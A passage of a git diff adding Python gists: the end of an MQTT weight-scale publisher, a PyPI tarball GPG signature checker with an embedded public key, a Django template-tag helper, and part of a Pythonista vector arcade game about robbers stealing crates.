+        self.mqtt_client.username_pw_set(MQTT_USERNAME, MQTT_PASSWORD)
+
+        def _on_connect(client, _, flags, return_code):
+            self.connected = True
+            print("MQTT connection returned result: %s" % mqtt.connack_string(return_code))
+
+        self.mqtt_client.on_connect = _on_connect
+
+        self.mqtt_client.connect(MQTT_HOST, MQTT_PORT, MQTT_TIMEOUT)
+        self.mqtt_client.loop_start()
+
+    def _publish(self, weight, unit):
+        if not self.connected:
+            raise Exception('not connected to MQTT server')
+        prefix = '{}/{}'.format('miscale/weight', unit)
+        self.mqtt_client.publish(prefix, weight, qos=1, retain=True)
+        print('\tSent data to topic %s: %s %s' % (prefix, weight, unit))
+
+
+def main():
+
+    scanner = btle.Scanner().withDelegate(ScanProcessor())
+
+    print (ANSI_RED + "Scanning for devices..." + ANSI_OFF)
+    devices = scanner.scan(5)
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/4110897/._snippet.py b/hard-gists/4110897/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4110897/._snippet.py differ
diff --git a/hard-gists/4110897/snippet.py b/hard-gists/4110897/snippet.py
new file mode 100644
index 00000000..c7ac05ca
--- /dev/null
+++ b/hard-gists/4110897/snippet.py
@@ -0,0 +1,103 @@
+# you need to install python-gpgme
+
+import StringIO
+import urllib
+import gpgme
+import shutil, tempfile
+import os
+from contextlib import closing, contextmanager
+
+tarball = 'http://pypi.python.org/packages/source/s/signtest/signtest-1.0.tar.gz'
+signature = 'http://pypi.python.org/packages/source/s/signtest/signtest-1.0.tar.gz.asc'
+
+
+# get the tarball
+tarball, headers = urllib.urlretrieve(tarball)
+
+
+# get the signature file
+signature, headers = urllib.urlretrieve(signature)
+
+
+@contextmanager
+def gpgme_context(keys):
+    gpg_conf_contents = ''
+    _gpghome = tempfile.mkdtemp(prefix='tmp.gpghome')
+
+    try:
+        os.environ['GNUPGHOME'] = _gpghome
+        fp = open(os.path.join(_gpghome, 'gpg.conf'), 'wb')
+        fp.write(gpg_conf_contents)
+        fp.close()
+        ctx = gpgme.Context()
+
+        loaded = []
+        for key_file in keys:
+            result = ctx.import_(key_file)
+            key = ctx.get_key(result.imports[0][0])
+            loaded.append(key)
+
+        ctx.signers = loaded
+
+        yield ctx
+    finally:
+        del os.environ['GNUPGHOME']
+        shutil.rmtree(_gpghome, ignore_errors=True)
+
+
+def verify(pubkey, tarball, signature):
+
+    with open(signature) as f:
+        signature = StringIO.StringIO(f.read())
+
+    with open(tarball) as f:
+        tarball = StringIO.StringIO(f.read())
+
+
+    with gpgme_context([pubkey]) as ctx:
+        sigs = ctx.verify(signature, tarball, None)
+        return sigs[0].status == None
+
+
+
+KEY = '''\
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+Version: GnuPG v1.4.12 (Darwin)
+
+mQENBFCqOm4BCAC5l7jmbELOG0VzcDukoAztGvhNe37ziIz/c0zi64TppcK4M9hP
+uO9wRgS99zLiMZ+bqfyBIrkpltcSknP0J+RiUSEWHKI+MExwDYhIrkmjxtL6Tcga
+BGSZj/8rpQdy9+Hsa5OQdf/RzYGlLBVROnWGVKynD8gtknw68jKU5h9YlmMXYJdt
+tXEP32lq78jcvFl1+QJFx8EtYKVeVwLcrXfw6uB72pcYWLPxEUS/4LhjWa1RzXBR
+M4Y/vBRYYF2yEjs9IGbvZylOtxIoOM/Ojlf14nwnI1XSLYBQzUik8c347zxp/eVu
+K4c1f8Y637aVJa325aWL63TrnCcCTPm26H8dABEBAAG0F1RhcmVrIDx0YXJla0B6
+aWFkZS5vcmc+iQE4BBMBAgAiBQJQqjpuAhsDBgsJCAcDAgYVCAIJCgsEFgIDAQIe
+AQIXgAAKCRBYlYjicW0iY2k4B/4xID5/2fyIq9TcEWNVjGMpi4cgFV1qyI2r8W7C
+C7e+F7LQHFWBGFYt4ldvT3LXb9gpz9HM0b1JAmdqqu0eUb612moUxG+kAWHJSa/y
+sZz+FiXbQueEuQD8m8mD2txLYput45GRRMqQr/lRUQfEN3jmqOauFIXvMZ4Y8YUh
+3I1z3StNxc+vIgshBKSXdtEiYpGeL9RfvmESgaWGYQgyp4F8QKIh0oFBvKU+xMF4
+QO7e7IyMp3KeYQKatTtTYP1K/kpBr9e4XO1SKix27sWRx595BgMqIjRsXI7RAaSu
+rHpfgSxONT26RS/v04T+mP29L8Z2qu25ghCCFPyZwZ2OA7qluQENBFCqOm4BCADh
+gFrB4/sAH4uHLmV/0hrnRejqCZbNpTtPm8wZhfbC/5qQuKQdPP8oPwtHMFNSs4vF
+ndblZadfzLZoCCzH1DX6uoDcBIJmjVP8qS50yklwaCYy7mBCvTRsycv6zxCaNFVK
+9v9X6/8xaMYq3DQFrjpr3JfzzJXr1v2tnuae4BvoqRhL5I7yj3gG/yBVQLg8LAGx
+5snfq7eHjrecN0G/o9k+bSn8OHMUVcN9s4SZZuZZe8Ote+dAOoK2Z6W/BYIv79bk
+q/WDwjHHN3eXZzC7R+LenCb6OAXTeOWYkjXvkbw6OVsK7LymWqMaN6zycj4hTLu7
+tiAhtGO1pejpxVHH+eO3ABEBAAGJAR8EGAECAAkFAlCqOm4CGwwACgkQWJWI4nFt
+ImOBMQgAl100U/U8x7wfpmZ+nIzyvwBm8wjk8Q5RWqDHA5ja/TuxXzmyuxX3m773
+6TK8Ve6k1/IUPubk+r3hLzE2ejFMJU92LIv1MCFhgn8mIpocmOWtyv7oXVm82i9v
+QXkuS2SbXXgdFvq7SVfWpC9nNsP1axPk0uuY5AdLqNkmoaJ3Z0ARPLebzjD5mMDJ
+xySdyD8cHCZt9nmsk3CTxkqiQokw/THRqUkxsP4hd58heVMKTJFkPCWjUvJmB+uh
+ywRDETQxSkbQUnFen7g5ylAzlZSKo04I6yXourBdtiwPs63Ufnn0yV1T7Sv5SwMq
+RKWV6KCLCry/RcOVeRtzrBB+ddxb8Q==
+=Nlrz
+-----END PGP PUBLIC KEY BLOCK-----'''
+
+
+try:
+    if not verify(StringIO.StringIO(KEY), tarball, signature):
+        print 'BAD signature'
+    else:
+        print 'OK'
+finally:
+    os.remove(tarball)
+    os.remove(signature)
\ No newline at end of file
diff --git a/hard-gists/411123/._snippet.py b/hard-gists/411123/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/411123/._snippet.py differ
diff --git a/hard-gists/411123/snippet.py b/hard-gists/411123/snippet.py
new file mode 100644
index 00000000..480f58b9
--- /dev/null
+++ b/hard-gists/411123/snippet.py
@@ -0,0 +1,42 @@
+'''
+Extremely Simple Django Template Tags!
+'''
+
+from django.template import Library, Node, TemplateSyntaxError, resolve_variable
+from django.utils.translation import ugettext as _
+register = Library()
+
+class GenericTNode(Node):
+	def __init__(self, parts):
+		self.parts = parts
+	def render(self, context):
+		pointer = self.parts.pop(0)
+		global _tag_reg
+		if pointer in _tag_reg:
+			return _tag_reg[pointer](self.parts, context)
+		else:
+			raise TemplateSytnaxError, "GenericTNode was called with an non-registered tag"
+
+def do_template_tag(parser,token):
+	'''
+	DO NOT USE! USED AUTOMATICALLY BY TEMPLATE TAG!!!!!
+	'''
+	parts = token.contents.split()
+	return GenericTNode(parts)
+
+_tag_reg = {}
+
+def template_tag(pointer):
+	'''
+	Example:
+	@template_tag("Tag_name")
+	def fjiowehtnowe(parts, context):
+		work
+		return output
+	'''
+	def decorator(function):
+		global register, _tag_reg
+		_tag_reg[pointer] = function
+		register.tag(pointer,do_template_tag)
+		return function
+	return decorator
\ No newline at end of file
diff --git a/hard-gists/4115763/._snippet.py b/hard-gists/4115763/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4115763/._snippet.py differ
diff --git a/hard-gists/4115763/snippet.py b/hard-gists/4115763/snippet.py
new file mode 100644
index 00000000..49d47c9f
--- /dev/null
+++ b/hard-gists/4115763/snippet.py
@@ -0,0 +1,1087 @@
+#----------------------------------------------------------------------
+# Copyright (c) 2012, Guy Carver
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without modification,
+# are permitted provided that the following conditions are met:
+#
+#     * Redistributions of source code must retain the above copyright notice,
+#       this list of conditions and the following disclaimer.
+#
+#     * Redistributions in binary form must reproduce the above copyright notice,
+#       this list of conditions and the following disclaimer in the documentation
+#       and/or other materials provided with the distribution.
+#
+#     * The name of Guy Carver may not be used to endorse or promote products # derived#
+#       from # this software without specific prior written permission.#
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+# FILE    ripoffv3.py
+# BY      Guy Carver
+# DATE    11/19/2012 06:16 PM
+#----------------------------------------------------------------------
+
+from time import clock
+from scene import *
+from sound import *
+from threading import Thread, Event
+from math import sin, cos, pi, sqrt, acos, hypot, modf
+from random import random, randint, shuffle, uniform, choice
+
+pi2 = pi * 2 #360 deg rotation in radians.
+hpi = pi / 2 #90 deg rotation in radians.
+g_scale = 16 #global scale value for mobs.
+numcrates = 9 #Number of crates to start with.
+cratespacing = 45 #Space between crates in rows and columns.
+numbullets = 5 #Number of bullets players may shoot at a time.
+aibulletspeed = 500 #Speed of AI bullets in pixels/second.
+aibulletlife = .5 #Life time of AI bullets in seconds.
+bulletspeed = 1000 #Player bullet speed in pixles/second.
+movesense = 2
+movescale = 2
+turnscale = .05 #convert linear movement to angular radians/second.
+uadj = pi / 16 #maximum random amount to adjust angular velocity by when unstable (on a crate)
+expv = 32 #Maximum explosion velocity in pixles/second.
+expav = pi #Maximum explosion angular velocity in radians/second.
+expdur = .75 #Amount to reduce explosion alpha by per second.
+blastdur = 2.5 #Amound to reduce blast alph by per second.
+blastexp = 64 #Blast expansion rate in pixels/second.
+deadtime = 5 #Seconds player stays dead.
+screenrad = 100 #Distance from center of screen to a corner (calculated in Scene.setup())
+tetherlen = 32 #Length of tether from robber to crate.
+maxkillers = 4 #Maximum number of killer AI mobs.
+firedelay = .5 #Delay between shots by killers when zeroed in.
+robbercount = 6 #Number of robbers.
+killerinterval = 4 #Waves between killer addition.
+killerdowntime = 5 #Seconds killer remains dead before re-spawning.
+killervel = 1.25 #Velocity scalar.
+velbase = 100.0 #Base velocity for all AI.
+velscale = 1.0 / 100.0 #Velocity increase per wave for robbers and killers.
+mt = False #True = multi-thread AI update.  Actually slows things down a bit.
+debug = False #Set to true to render waypoints and such.
+
+crateverts = [Point(-.5, 0), Point(0, .75), Point(.5, 0), Point(0, -.75)]
+cratesegs = [(0,1), (1,2), (2,3), (3,0), (0,2)]
+cratemesh = (crateverts, cratesegs)
+
+playerverts = [Point(0, .75), Point(1, 0), Point(.75, -.5), Point(.5, -.25),
+               Point(-.5,-.25), Point(-.75,-.5), Point(-1, 0)]
+playersegs = [(0,1),(1,2),(2,3),(3,4),(4,5),(5,6),(6,0)]
+playermesh = (playerverts, playersegs)
+
+robberverts = [Point(0, 1), Point(.5, .25), Point(.5, -.25), Point(0, -.75),
+               Point(-.5, -.25), Point(-.5, .25)]
+robbersegs = [(0,1), (1,2), (2,3), (3,4), (4,5), (5,0), (0, 3)] #(1,5), (2,4)]
+robbermesh = (robberverts, robbersegs)
+
+killerverts = [Point(0,1), Point(.35,0), Point(.5, -.75), Point(0,0),
+               Point(-.5,-.75), Point(-.35,0)]
+killersegs = [(0,1), (1,2), (2,3), (3,4), (4,5), (5,0)]
+killermesh = (killerverts, killersegs)
+
+sounds = ['Laser_6', 'Laser_3', 'Hit_3', 'Explosion_5','Clank','Ding_2']
+
+#Waypoint list for robbers.
+#tuple of distance from screen center, angle relative to current position in radians, min,max % of velbase.
+pathrange = [(.85, pi, Point(.8, .6)), (.5, hpi, Point(.6, .5)), (.25, hpi / 2, Point(.5, .3)), (0, 0, Point(.3, .02)), (1.5, pi, Point(.6, .3))]
+exitwp = len(pathrange) - 1 #Index for the exit waypoint.
+pickupwp = exitwp - 1 #Index of the crate pickup waypoint.
+wpskipchance = 0.1 #% chance of skipping an approach waypoint.
+wpskipfactor = 0.01 #Amount to add to wpskipchance per wave.
+
+playerfilter = 1 #Player bullet collision ID.
+aifilter = 2 #AI bullet collision ID.
+
+###-1 if < 0 otherwise 1
+def sgn(val): return 1 if val >= 0 else -1
+###squared length of given vector.
+def lensq(vec): return (vec.x * vec.x + vec.y * vec.y)
+###Dot product of p1, p2.
+def dot(p1, p2): return p1.x * p2.x + p1.y * p2.y
+###Center of segment p1-p2.
+def center(p1, p2): return Point(p1.x + p2.x / 2, p1.y + p2.y / 2)
+###Draw line between 2 points.
+def drawline(p1, p2): line(p1.x, p1.y, p2.x, p2.y)
+
+def normalize(pnt):
+###Normalize given Point in place and return the length.
+	len = hypot(pnt.x, pnt.y)
+	pnt.x /= len
+	pnt.y /= len
+	return len
+
+def segvcircle(p1, p2, circle):
+	###Check intersection of segment p1-p2 with circle.
+	###circle is a Vector3, z = radius.
+	segv = Point(p2.x - p1.x, p2.y - p1.y)
+	#Get vector from p1 to circle.
+	cp1v = Point(circle.x - p1.x, circle.y - p1.y)
+
+	segvn = Point(*segv) #Make copy of vector from p1 to p2.
+	l = normalize(segvn) # and normalize.
+
+	sl = dot(cp1v, segvn) #Get distance from between line and circle.
+	c = Point(*p1) #Start and segment point 1.
+	#If off the end of the segment use the end point of the segment.
+	if sl >= l: c = Point(*p2)
+	elif sl > 0: #Move point on segment until segment of this point to circle
+							 # is perpendicular to p1-p2 segment.
+		c.x += segvn.x * sl
+		c.y += segvn.y * sl
+	#Return true if distnce from this point to circle is < radius of circle.
+	return (c.distance(circle) < circle.z)
+
+def addangle(a1, a2):
+	###return a1 + a2 making sure the result is within 0-2pi.
+	a1 += a2
+	while a1 < 0: a1 += pi2
+	while a1 > pi2: a1 -= pi2
+	return a1
+
+def deltaangle(a0, a1):
+	###Return shortest angle in radians between a1 and a0.
+	### Result will -pi < delta < pi.
+	a = a1 - a0
+	b = abs(a)
+	c = pi2 - b #Get rotation in oppisite direction.
+	if b < c: return a #if 1st rotation is shorter then return it.
+	else: return c * -sgn(a) #Otherwise return 2nd rotation setting the sign to opposite of 1st rotation.
+
+def anglefromvector(vect):
+	#Return Tuple (radian rotation, vect length) represented by given vector.
+	len = hypot(vect.x, vect.y) #sqrt(lensq(vect))
+	if len > 0: #If not 0 length.
+		a = acos(vect.y / len) #Get angle from cos.
+		#If x negative then angle is between pi-2pi
+		if vect.x < 0: a = pi2 - a
+	else: a = 0
+	return (a, len)
+
+def dampen(val, d):
+	###Return given velocity dampened by given amount not letting velocity change signs.
+	s = sgn(val)
+	val -= s * d
+	if sgn(val) != s: val = 0 #If sign changed clamp at 0.
+	return val
+
+def rotpoint(a, p):
+	###Rotate point in place by angle.
+	c = cos(a)
+	s = sin(a)
+	x = p.x * c + p.y * s
+	p.y = p.y * c - p.x * s
+	p.x = x
+
+def clippoint(pnt, bound):
+	###Clip pnt in place to given bound.
+	l = bound.left()
+	r = bound.right()
+	t = bound.top()
+	b = bound.bottom()
+	pnt.x = max(l, min(r, pnt.x))
+	pnt.y = max(b, min(t, pnt.y))
+
+class mob(object):
+	###Base class representing a transformable vector graphics image.
+	def __init__(self, pos, scn, mesh):
+		object.__init__(self)
+		self.scene = scn #Scene to which mob belogs.
+		self.pos = Point(*pos)
+		self.filter = 0 #Bullet ID.
+		self.scale = g_scale #Scale of the mesh.
+		self.color = Color(.4, .8, 1) #Color of the mesh.
+		self.mesh = mesh
+		self.points = [Point(*p) for p in mesh[0]] #Make copy of points for transform.
+		self.angle = 0
+		self.dotrans = True #If true transform the points on update.
+		self.on = False #Start turned off.
+
+	def reset(self):
+		self.angle = 0 #Reset the heading.
+		self.on = True #Turn on.
+
+	def boundcheck(self, bound):
+		###Check circle representing mob bound against given bound.
+		if not self.on: return False
+		x = bound.x - self.pos.x
+		y = bound.y - self.pos.y
+		dsq = x * x + y * y
+		r = self.scale + bound.z #Radius of mob is scale * 1.
+		return dsq <= r * r  #Collide if distance squared < square of radius sum.
+
+	def offscreen(self):
+		###Check if mob is off screen.
+		s = self.scale
+		s2 = 2 * s
+		#Make rectangle around mob.
+		r = Rect(self.pos.x - s, self.pos.y - s, s2, s2)
+		return not self.scene.bounds.intersects(r)
+
+	def transformpoints(self):
+		###Transform points
+		c = cos(self.angle)
+		s = sin(self.angle)
+
+		#Local function to transform point.
+		def trans(p, d):
+			d.x = (p.x * c + p.y * s) * self.scale + self.pos.x
+			d.y = (p.y * c - p.x * s) * self.scale + self.pos.y
+
+		#Loop through points and transform into destination of self.points
+		for i, p in enumerate(self.mesh[0]):
+			trans(p, self.points[i])
+
+	def draw(self):
+		###If on draw the mob.
+		if self.on:
+			stroke(*self.color)
+			stroke_weight(1)
+			if self.dotrans: self.transformpoints()
+			for p0, p1 in self.mesh[1]:	#Draw each segment.
+				drawline(self.points[p0], self.points[p1])
+
+	###Turn off.
+	def kill(self): self.on = False
+
+class explosion(object):
+	###Object to represent an explosion consisting of the exploded
+	### mesh segments and a blast circle.
+	def __init__(self, mob):
+		object.__init__(self)
+		c = mob.color
+		self.pos = Point(*mob.pos)
+		self.alpha = 1
+		self.color = Color(c.r, c.g, c.b, 1)
+		self.angle = mob.angle
+		self.blast = 4 #Stroke weight of blast circle.
+		numsegs = len(mob.mesh[1])
+
+		###Make and explosion segment from the given segment index.
+		###Returns a Tuple of Vector3 for point and angle, vector of segment, Vector3 of velocities).
+		def make(index):
+			xv = uniform(-expv, expv) #Set random x,y velocities.
+			yv = uniform(-expv, expv) #random() * expv * 2 - expv
+			av = uniform(-expav, expav) #Set random angular velocity.
+			i0, i1 = mob.mesh[1][index] #Get point indices for this segment.
+			p0 = mob.points[i0] #Get point 0.
+			p1 = Point(*mob.points[i1]) #Get copy of point 1.
+			p1.x -= p0.x #Convert point 1 into vector to point1 from point0.
+			p1.y -= p0.y
+			return (Vector3(p0.x,p0.y,0), Point(p1.x, p1.y), Vector3(xv, yv, av))
+
+		#Make list of segments representing exploded mesh.
+		self.segs = [make(i) for i in xrange(numsegs)]
+		set_volume(0.5)
+		play_effect(sounds[3]) #Play explosion mesh.
+
+	def update(self, dt):
+		###Update explosion and return true when off.
+		on = self.color.a > 0 #On as long as alpha isn't 0.
+		if on:
+			self.color.a = max(0, self.color.a - expdur * dt)
+			self.alpha = max(0, self.alpha - blastdur * dt)
+			self.blast += blastexp * dt
+			for p0, _, v in self.segs:
+				p0.x += v.x * dt
+				p0.y += v.y * dt
+				p0.z = addangle(p0.z, v.z * dt)
+		return not on
+
+	def draw(self):
+		###Draw the explosion.
+		fill(0,0,0,0) #No fill color.
+		if self.alpha:
+			width = self.alpha * 32 #The stroke width is % of 32 pixels.
+			asq = self.alpha * self.alpha
+			#Red alwasy 1, green = 1.5 * alpha, blue = 1 * alpha squared.
+			#This will make the color animate from white to yellow to orange.
+			stroke(1,1.5 * self.alpha,1 * asq, self.alpha)
+			stroke_weight(width)
+			x = self.pos.x - self.blast #Get lower left corner of circle.
+			y = self.pos.y - self.blast
+			wh = self.blast * 2 #Diameter.
+			ellipse(x, y, wh, wh) #Draw the explosion circle.
+
+		stroke(*self.color)
+		stroke_weight(1)
+		#Now draw the segments.
+		for p0, p1d, v in self.segs:
+			p1 = Point(p1d.x, p1d.y)
+			rotpoint(p0.z, p1) #Rotate the direction by the angle.
+			p1.x += p0.x #p1 = p0 + direction.
+			p1.y += p0.y
+			drawline(p0, p1)
+
+class crate(mob):
+	###Mob rebresenting a crate the robbers will attempt to steal.
+	def __init__(self, pos, scn):
+		mob.__init__(self, pos, scn, cratemesh)
+		self.color = Color(0.80, 0.80, 0.20)
+		self.reset()
+
+	def reset(self):
+		mob.reset(self)
+		self.targeted = 0 #No robbers are targeting.
+		self.tethered = None #No robber is tethered to the crate.
+		self.dotrans = False #Don't transform the points each frame.
+		self.transformpoints() #Transform the points 1 time.
+
+	def kill(self):
+		###Kill the crate.
+		mob.kill(self)
+		self.scene.killcrate(self) #Remove the create from the scene.
+		set_volume(0.5)
+		play_effect(sounds[4])
+
+class bullet(object):
+	###Object representing a shot bullet.
+	def __init__(self, owner):
+		object.__init__(self)
+		self.owner = owner #Owner of this bullet.
+		self.pos = Point(0,0)
+		self.vel = Point(0,0)
+		self.color = Color(1, 0.7, 0.7)
+		self.life = 0 #Current life of the bullet.
+		self.speed = bulletspeed
+		self.lifespan = 1 #Maximum life span of bullet in seconds.
+
+	###Return filter ID of the owner of this bullet.
+	def getfilter(self): return self.owner.filter
+
+	def turnon(self, pos, vel):
+		###Turn the bullet on.
+		self.life = self.lifespan #Reset the life span.
+		self.pos = pos
+		self.vel.x = vel.x * self.speed
+		self.vel.y = vel.y * self.speed
+
+	def update(self, scn, dt):
+		###Update bullet and return true when turned off.
+		if self.life: #If any life left.
+			self.life = (max(0, self.life - dt)) #Reduce life.
+			if self.life: #If still on.
+				prev = Point(*self.pos)
+				self.pos.x += self.vel.x * dt
+				self.pos.y += self.vel.y * dt
+				#Check segment representing bullet traversal against mobs in scene.
+				if scn.checkbullet(prev, self.pos, self.owner):
+					self.life = 0 #Hit something so turn off.
+			if not self.life:
+				self.owner.shotcount -= 1 #reduce shot count on owner if bullet turned off.
+				return True
+		return False
+
+	def draw(self):
+		###Draw bullet if on.
+		if self.life:
+			stroke(*self.color)
+			stroke_weight(4)
+			x1 = self.pos.x
+			x2 = x1 + 2
+			y1 = self.pos.y
+			y2 = y1 + 2
+			line(x1, y1, x2, y2)
+
+class machine(mob):
+	###Base class for player and AI machines.  You will note some
+	### features that are not used by all machines.  They are here
+	### just in case.  For instance making robbers shoot.
+	def __init__(self, pos, filter, scn, mesh, bulletcount):
+		mob.__init__(self, pos, scn, mesh)
+		self.filter = filter #Set bullet ID.
+		self.brk = 200 #Break amount in pixels/second.
+		self.brka = pi * 2 #Angular break amount int rads/second.
+		self.shotcount = 0 #Number of shots.
+		#Create bullets.
+		self.bullets = [bullet(self) for i in xrange(bulletcount)]
+		self.shoot = sounds[0] #Set shooting sound.
+		self.shootv = 0.6 #Shot sound volume.
+
+	###Reset the mob.
+	def reset(self):
+		mob.reset(self)
+		self.avel = 0
+		self.vel = Point(0, 0)
+		self.wrap = True  #Wrap mob around on screen as opposed to cliping on edges.
+
+	###Apply breaks to liner velocity.
+	def slowdown(self, dt): self.vel.y = dampen(self.vel.y, self.brk * dt)
+
+	###Get screen position and shot direction.
+	def shotpos(self):
+		p = Point(*self.points[0]) #Shot comes out of point 0.
+		v = Point((p.x - self.pos.x) / self.scale, (p.y - self.pos.y) / self.scale)
+		return (p, v)
+
+	###Shoot a bullet.
+	def fire(self):
+		if self.on and self.shotcount < len(self.bullets):
+			for b in self.bullets:
+				if not b.life: #Find unused bullet.
+					b.turnon(*self.shotpos())
+					self.shotcount += 1
+					set_volume(self.shootv)
+					play_effect(self.shoot)
+					self.scene.activebullets.append(b) #Add bullet to scene.
+					return
+
+	###Update machine.
+	def update(self, dt):
+		if self.on:
+			v = Point(*self.vel)
+			rotpoint(self.angle, v)
+			self.pos.x += v.x * dt #Add velocity to position.
+			self.pos.y += v.y * dt
+			if self.wrap: #If wraping on screen then do so.
+				sz = self.scene.size
+
+				if self.pos.x > sz.w:
+					self.pos.x -= sz.w
+				elif self.pos.x < 0:
+					self.pos.x += sz.w
+
+				if self.pos.y > sz.h:
+					self.pos.y -= sz.h
+				elif self.pos.y < 0:
+					self.pos.y += sz.h
+			#Adjust direction by angular velocity.
+			self.angle = addangle(self.angle, self.avel * dt)
+
+class aimachine(machine):
+	###Base class for the AI controlled machines.
+	def __init__(self, scn, mesh, numbullets):
+		machine.__init__(self, Point(0,0), aifilter, scn, mesh, numbullets)
+		self.on = False #Start turned off.
+		self.brka = 0 #No angular velocity break.
+
+	def reset(self, pos, angle):
+		machine.reset(self)
+		self.wrap = False #Don't wrap AI mobs on screen.
+		self.pos = pos
+		self.angle = angle
+		self.minvel = 0
+		self.maxvel = 0
+		self.wp = Point(0,0)
+		self.wpn = Point(0,0)
+		self.nextwaypoint() #Set 1st waypoint.
+
+	###Return base velocity adjust by the wave count.
+	def basevel(self): return velbase + (velbase * float(self.scene.wave) * velscale)
+
+	def updatevels(self, dt):
+	###Update the linear and angular velocities.
+		vect = Point(*self.wp)
+		vect.x -= self.pos.x
+		vect.y -= self.pos.y
+		a, l = anglefromvector(vect) #Get angle, distance to target.
+		self.avel = deltaangle(self.angle, a) #Get delta angle to target.
+		self.vel = Point(0, max(self.minvel, min(self.maxvel, l))) #Set velocity based on target distance.
+
+	def checkdest(self):
+		###Check to see if we have reached target waypoint.
+		delta = Point(self.pos.x - self.wp.x, self.pos.y - self.wp.y)
+		l = lensq(delta)
+		#If distance < minimum velocity.
+		if l < (self.minvel * self.minvel):
+			d = dot(delta, self.wpn) #See if we are on other side of waypoint normal.
+			return d <= 0
+		return False
+
+	def update(self, dt):
+		###Update the AI machine if on. return 1 if updated else 0.
+		if self.on:
+			self.state(dt) #Call the state function.
+			machine.update(self, dt) #Call base update method.
+			return 1
+		return 0
+
+class robber(aimachine):
+	###Robber AI machine.
+	def __init__(self, scn):
+		aimachine.__init__(self, scn, robbermesh, 0)
+
+	def reset(self, pos, angle, tgt):
+		self.state = self.approachstate #Start with target approach state.
+		self.wpindex = -1 #Start with waypoint index -1 so 1st index will be 0 when NextWaypoint is called.
+		self.approacha = 0 #Approach angle of 0.
+		self.target = tgt #Target crate.
+		if tgt: tgt.targeted += 1
+		aimachine.reset(self, pos, angle)
+
+	def setexit(self)	:
+		###Set exit state and tether to target crate.
+		self.state = self.exitstate
+		self.wrap = False
+		tgt = self.target
+		if not tgt.tethered: #If target not tethered then tether to it.
+			b = Vector3(self.pos.x, self.pos.y, self.scale)
+			if tgt.boundcheck(b): #Make sure in range of target before tethering.
+				tgt.tethered = self
+				tgt.dotrans = True #start crate updating transform as we are going to move it.
+				return
+		#if didn't tether then follow crate (Another robber is tethered to it).
+		self.wp = tgt.pos #Reference target position and follow that.
+											# If target moves so will our way point.
+		self.state = self.followstate
+
+	def done(self):
+		###The robber has exited the screen so turn off.
+		self.on = False
+		#If tethered to a crate the kill the crate.
+		if self.target and self.target.tethered is self:
+			self.target.kill()
+
+	def kill(self):
+		###Kill the robber.
+		mob.kill(self)
+		tgt = self.target
+		if tgt: #If targeting a create stop targeting.
+			self.target = None
+			tgt.targeted -= 1
+			if tgt.tethered is self: #If pulling a crate then stop pulling.
+				tgt.tethered = None
+				tgt.dotrans = False #Make crate not update it's transforms as it is no longer moving.
+
+	def pullcrate(self, dt):
+		###Pull the crate.
+		tgt = self.target
+		if tgt and tgt.tethered is self:
+			if tgt.offscreen(): #If target off screen then kill robber/crate.
+				self.done()
+			else: #Move crate.
+				p = tgt.pos
+				d = Point(self.pos.x - p.x, self.pos.y - p.y)
+				dm = Point(abs(d.x) - tetherlen, abs(d.y) - tetherlen)
+				if dm.x > 0:
+					p.x += dm.x * sgn(d.x)
+				if dm.y > 0:
+					p.y += dm.y * sgn(d.y)
+		elif self.offscreen(): #If robber off screen then stop it.
+			self.done()
+
+	#Get screen location of tether point on mesh.
+	def tetherpos(self): return self.points[3] #Point 3 is tether point.
+
+	def nextwaypoint(self):
+		###Set next waypoint.
+		self.wpindex += 1
+		#Run chance of skipping waypoint but only up to pickup waypoint.
+		while self.wpindex < pickupwp and (random() < self.scene.wpskipchance):
+			self.wpindex += 1
+		self.setwaypoint() #Set the waypoint position and normal.
+		if self.wpindex == exitwp: #If we are at the exit waypoint change states.
+			self.setexit()
+
+	def setwaypoint(self):
+		###Set the waypoint.
+		if self.target:
+			rad, da, vels = pathrange[self.wpindex]
+			v = self.basevel()
+			self.maxvel = vels.x * v #Set maximum/minimum velcoties as % of base velocity.
+			self.minvel = vels.y * v
+			#Adjust current approach angle by delta angle from next waypoint.
+			self.approacha = addangle(self.approacha, uniform(-da, da))
+			self.wp = Point(0, rad * screenrad)
+			rotpoint(self.approacha, self.wp)
+			self.wp.x += self.target.pos.x
+			self.wp.y += self.target.pos.y
+			if self.wpindex < exitwp: #don't clip exit waypoint as it takes us off screen.
+				clippoint(self.wp, self.scene.bounds) #Clip point to screen.
+			#Waypoint normal from vector of pos-wp.
+			self.wpn = Point(self.pos.x - self.wp.x, self.pos.y - self.wp.y)
+			normalize(self.wpn)
+
+	def followstate(self, dt):
+		###Watch target and if no longer tethered then tether to it.
+		if not self.target.tethered: #If not tethered.
+			self.wpindex = pickupwp #Re-run pickup waypoint.
+			self.state = self.approachstate #Switch back to approach state.
+			self.setwaypoint() #Set pickup waypoint.
+		else:
+			self.exitstate(dt) #Run exit state.
+
+	def approachstate(self, dt):
+		###Approach target through series of waypoins.
+		if self.checkdest(): #Check if reached waypoint.
+			self.nextwaypoint() #Next waypoint.
+		self.updatevels(dt) #Update the velocities to get to waypoint.
+		machine.update(self, dt)
+
+	def exitstate(self, dt):
+		self.updatevels(dt) #Update velocities to get to waypoint.
